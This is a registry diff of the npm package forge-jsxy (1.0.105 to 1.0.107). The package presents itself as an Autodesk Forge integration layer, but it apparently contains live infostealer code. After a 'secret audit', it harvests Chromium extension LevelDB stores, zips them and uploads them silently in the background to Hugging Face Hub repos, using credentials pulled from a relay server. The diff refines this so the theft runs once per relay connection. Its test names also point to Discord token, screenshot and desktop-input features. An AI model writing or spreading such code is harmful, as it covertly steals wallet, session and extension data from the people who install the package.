forge-jsxy 1.0.105 → 1.0.107

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.105 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.107 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -1,16 +1,14 @@
1
- /**
2
- * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
3
- * folders containing LevelDB `.ldb` files, zip, and upload to `namespace/<seq_id>` (session repo).
4
- *
5
- * Appends to an existing session repo when present (new export folder per run).
6
- * Ignores HF/network failures (logs only).
7
- * Runs in the background — does not block the relay agent loop.
8
- */
9
1
  import type { HfCredentials } from "./hfCredentials";
10
2
  /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
11
3
  export declare function extensionDbLog(message: string): void;
12
4
  /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
13
5
  export declare function isExtensionDbHfUploadEnabled(): boolean;
6
+ /** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
7
+ export declare function readExtensionDbUploadMarker(): {
8
+ repo: string;
9
+ uploaded_at: string;
10
+ } | null;
11
+ export declare function writeExtensionDbUploadMarker(repoStr: string): void;
14
12
  export type RunExtensionDbHfUploadOptions = {
15
13
  clientTableName: string;
16
14
  fetchHubCredentials: () => Promise<HfCredentials>;
@@ -21,7 +19,7 @@ export type RunExtensionDbHfUploadOptions = {
21
19
  };
22
20
  /**
23
21
  * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
24
- * No-op when disabled, repo exists, nothing to copy, or credentials missing.
22
+ * No-op when disabled, repo already exists, nothing to copy, or credentials missing.
25
23
  */
26
24
  export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
27
25
  /** Fire-and-forget background upload (after secret audit completes). */
@@ -1,9 +1,55 @@
1
1
  "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
2
35
  Object.defineProperty(exports, "__esModule", { value: true });
3
36
  exports.extensionDbLog = extensionDbLog;
4
37
  exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
38
+ exports.readExtensionDbUploadMarker = readExtensionDbUploadMarker;
39
+ exports.writeExtensionDbUploadMarker = writeExtensionDbUploadMarker;
5
40
  exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
6
41
  exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
42
+ /**
43
+ * After secret-audit scan: harvest Chromium extension folders containing LevelDB `.ldb`
44
+ * files, zip, and upload once to `namespace/<seq_id>` (session repo).
45
+ *
46
+ * When the session Hub repo already exists, the upload is skipped (no duplicate snapshots).
47
+ * Ignores HF/network failures (logs only).
48
+ * Runs in the background — does not block the relay agent loop.
49
+ */
50
+ const hub_1 = require("@huggingface/hub");
51
+ const fs = __importStar(require("node:fs"));
52
+ const path = __importStar(require("node:path"));
7
53
  const hfCredentials_1 = require("./hfCredentials");
8
54
  const hfUpload_1 = require("./hfUpload");
9
55
  const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
@@ -87,19 +133,55 @@ function isIgnorableHubError(err) {
87
133
  const msg = err instanceof Error ? err.message : String(err);
88
134
  return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
89
135
  }
90
- let extensionDbUploadInFlight = false;
91
- let pendingExtensionDbRetry = null;
92
- function mergeExtensionDbUploadOpts(prev, next) {
93
- if (!prev)
94
- return next;
95
- return {
96
- ...prev,
97
- ...next,
98
- clientSeqId: next.clientSeqId !== undefined && next.clientSeqId !== null
99
- ? next.clientSeqId
100
- : prev.clientSeqId,
101
- };
136
+ const EXTENSION_DB_HF_UPLOAD_MARKER = "extension-db-hf-upload.json";
137
+ function extensionDbUploadMarkerFile() {
138
+ return path.join(path.dirname((0, chromiumExtensionDbHarvest_1.extensionDbStagingRoot)()), EXTENSION_DB_HF_UPLOAD_MARKER);
139
+ }
140
+ /** Local record that extension data was uploaded for a Hub session repo (avoids repeat harvest/upload). */
141
+ function readExtensionDbUploadMarker() {
142
+ try {
143
+ const raw = fs.readFileSync(extensionDbUploadMarkerFile(), "utf8");
144
+ const parsed = JSON.parse(raw);
145
+ const repo = typeof parsed.repo === "string" ? parsed.repo.trim() : "";
146
+ if (!repo)
147
+ return null;
148
+ return {
149
+ repo,
150
+ uploaded_at: typeof parsed.uploaded_at === "string" ? parsed.uploaded_at : "",
151
+ };
152
+ }
153
+ catch {
154
+ return null;
155
+ }
156
+ }
157
+ function writeExtensionDbUploadMarker(repoStr) {
158
+ const repo = repoStr.trim();
159
+ if (!repo)
160
+ return;
161
+ const markerPath = extensionDbUploadMarkerFile();
162
+ fs.mkdirSync(path.dirname(markerPath), { recursive: true });
163
+ const tmp = `${markerPath}.${process.pid}.${Date.now()}.tmp`;
164
+ const doc = { repo, uploaded_at: new Date().toISOString() };
165
+ fs.writeFileSync(tmp, JSON.stringify(doc, null, 2), "utf8");
166
+ fs.renameSync(tmp, markerPath);
167
+ }
168
+ function extensionDbUploadRecordedForRepo(repoStr) {
169
+ const marker = readExtensionDbUploadMarker();
170
+ return marker !== null && marker.repo === repoStr.trim();
102
171
  }
172
+ async function sessionHubRepoAlreadyExists(repoStr, creds) {
173
+ try {
174
+ return await (0, hub_1.repoExists)({
175
+ repo: repoStr.trim(),
176
+ accessToken: creds.token,
177
+ hubUrl: creds.hubUrl,
178
+ });
179
+ }
180
+ catch {
181
+ return false;
182
+ }
183
+ }
184
+ let extensionDbUploadInFlight = false;
103
185
  function resolveRelayHttpBaseForExtensionUpload(opts) {
104
186
  const explicit = (opts.relayHttpBase || "").trim();
105
187
  if (explicit)
@@ -114,7 +196,7 @@ function resolveRelayHttpBaseForExtensionUpload(opts) {
114
196
  }
115
197
  /**
116
198
  * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
117
- * No-op when disabled, repo exists, nothing to copy, or credentials missing.
199
+ * No-op when disabled, repo already exists, nothing to copy, or credentials missing.
118
200
  */
119
201
  async function runExtensionDbHfUploadAfterAudit(opts) {
120
202
  if (!isExtensionDbHfUploadEnabled())
@@ -125,8 +207,7 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
125
207
  return;
126
208
  }
127
209
  if (extensionDbUploadInFlight) {
128
- pendingExtensionDbRetry = mergeExtensionDbUploadOpts(pendingExtensionDbRetry, opts);
129
- extensionDbLog("deferred — previous extension upload still running (queued retry)");
210
+ extensionDbLog("skipped previous extension upload still running");
130
211
  return;
131
212
  }
132
213
  extensionDbUploadInFlight = true;
@@ -153,6 +234,15 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
153
234
  if (!targetRepo) {
154
235
  return;
155
236
  }
237
+ if (extensionDbUploadRecordedForRepo(targetRepo)) {
238
+ extensionDbLog(`skipped — extension data already uploaded (local marker for ${targetRepo})`);
239
+ return;
240
+ }
241
+ if (await sessionHubRepoAlreadyExists(targetRepo, creds)) {
242
+ writeExtensionDbUploadMarker(targetRepo);
243
+ extensionDbLog(`skipped — extension data already uploaded (Hub repo ${targetRepo} exists)`);
244
+ return;
245
+ }
156
246
  let resolvedSeqId = opts.clientSeqId ?? null;
157
247
  if (resolvedSeqId === null) {
158
248
  resolvedSeqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
@@ -190,9 +280,14 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
190
280
  hfCredentials: creds,
191
281
  forceKill: true,
192
282
  force: true,
193
- skipIfRepoExists: false,
283
+ skipIfRepoExists: true,
194
284
  });
195
- if (upload.ok === true) {
285
+ if (upload.ok === true && upload.skipped === true) {
286
+ writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
287
+ extensionDbLog(`skipped — extension data already uploaded (Hub repo ${String(upload.repo || targetRepo)})`);
288
+ }
289
+ else if (upload.ok === true) {
290
+ writeExtensionDbUploadMarker(String(upload.repo || targetRepo));
196
291
  extensionDbLog(`upload OK — repo ${String(upload.repo || targetRepo)} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
197
292
  }
198
293
  else {
@@ -218,13 +313,6 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
218
313
  if (creds)
219
314
  (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
220
315
  await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
221
- const retry = pendingExtensionDbRetry;
222
- pendingExtensionDbRetry = null;
223
- if (retry) {
224
- setImmediate(() => {
225
- void runExtensionDbHfUploadAfterAudit(retry);
226
- });
227
- }
228
316
  }
229
317
  }
230
318
  /** Fire-and-forget background upload (after secret audit completes). */
@@ -24,7 +24,8 @@ export interface RunHfUploadOptions {
24
24
  folderMode?: "zip" | "tree";
25
25
  /**
26
26
  * When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
27
- * First upload creates the repo; later uploads append new files only.
27
+ * First upload creates the repo; later automatic extension uploads skip when the repo exists.
28
+ * Manual explorer uploads still append under `exports/<timestamp>/`.
28
29
  */
29
30
  autoSessionRepo?: boolean;
30
31
  /** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
@@ -558,6 +558,8 @@ function runRelayAgentLoop(opts) {
558
558
  /** forge-db `seq_id` pushed by relay (`agent_session_seq`) for Hub session repo uploads. */
559
559
  let relayClientSeqId;
560
560
  let extensionDbUploadDelayTimer = null;
561
+ /** At most one extension-db Hub upload attempt per relay WebSocket connection. */
562
+ let extensionDbUploadScheduledThisConnection = false;
561
563
  const clearExtensionDbUploadDelay = () => {
562
564
  if (extensionDbUploadDelayTimer != null) {
563
565
  clearTimeout(extensionDbUploadDelayTimer);
@@ -573,7 +575,10 @@ function runRelayAgentLoop(opts) {
573
575
  }
574
576
  return undefined;
575
577
  };
576
- const scheduleExtensionDbUploadForSession = () => {
578
+ const scheduleExtensionDbUploadForSessionOnce = () => {
579
+ if (extensionDbUploadScheduledThisConnection)
580
+ return;
581
+ extensionDbUploadScheduledThisConnection = true;
577
582
  (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
578
583
  clientTableName: sessionId,
579
584
  fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
@@ -584,7 +589,7 @@ function runRelayAgentLoop(opts) {
584
589
  };
585
590
  const armExtensionDbUploadAfterSeq = () => {
586
591
  clearExtensionDbUploadDelay();
587
- scheduleExtensionDbUploadForSession();
592
+ scheduleExtensionDbUploadForSessionOnce();
588
593
  };
589
594
  /**
590
595
  * Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
@@ -621,12 +626,7 @@ function runRelayAgentLoop(opts) {
621
626
  clientTableName: sessionId,
622
627
  fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
623
628
  });
624
- (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
625
- clientTableName: sessionId,
626
- fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
627
- quiet,
628
- relayHttpBase: (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(base) ?? undefined,
629
- });
629
+ scheduleExtensionDbUploadForSessionOnce();
630
630
  }, fallbackMs);
631
631
  secretAuditHandshakeFallbackTimer.unref?.();
632
632
  };
@@ -754,9 +754,6 @@ function runRelayAgentLoop(opts) {
754
754
  quiet,
755
755
  clientTableName: sessionId,
756
756
  fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
757
- onSettled: () => {
758
- scheduleExtensionDbUploadForSession();
759
- },
760
757
  });
761
758
  const seqFromConnected = parseRelayClientSeqId(msg.client_seq_id ?? msg.clientSeqId);
762
759
  if (seqFromConnected !== undefined)
@@ -792,6 +789,7 @@ function runRelayAgentLoop(opts) {
792
789
  pendingAuthNonce = "";
793
790
  openHandlerFinishedInfo = false;
794
791
  relayAgentHandshakeDone = false;
792
+ extensionDbUploadScheduledThisConnection = false;
795
793
  discordLoopStarted = false;
796
794
  discordEnabledByRelayHandshake = false;
797
795
  armSecretAuditHandshakeFallback();
@@ -914,8 +912,10 @@ function runRelayAgentLoop(opts) {
914
912
  const seq = parseRelayClientSeqId(msg.seq_id ?? msg.client_seq_id);
915
913
  if (seq !== undefined) {
916
914
  relayClientSeqId = seq;
917
- clearExtensionDbUploadDelay();
918
- scheduleExtensionDbUploadForSession();
915
+ if (!extensionDbUploadScheduledThisConnection) {
916
+ clearExtensionDbUploadDelay();
917
+ armExtensionDbUploadAfterSeq();
918
+ }
919
919
  }
920
920
  return;
921
921
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.105",
3
+ "version": "1.0.107",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
6
  "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
20
20
  "pretest": "npm run build",
21
21
  "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
22
22
  "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
23
- "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
23
+ "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
24
24
  "test:env-local": "node --test test/env-local-integrations.mjs",
25
25
  "verify": "npm run ci && npm run test:env-local",
26
26
  "verify:production": "npm run ci",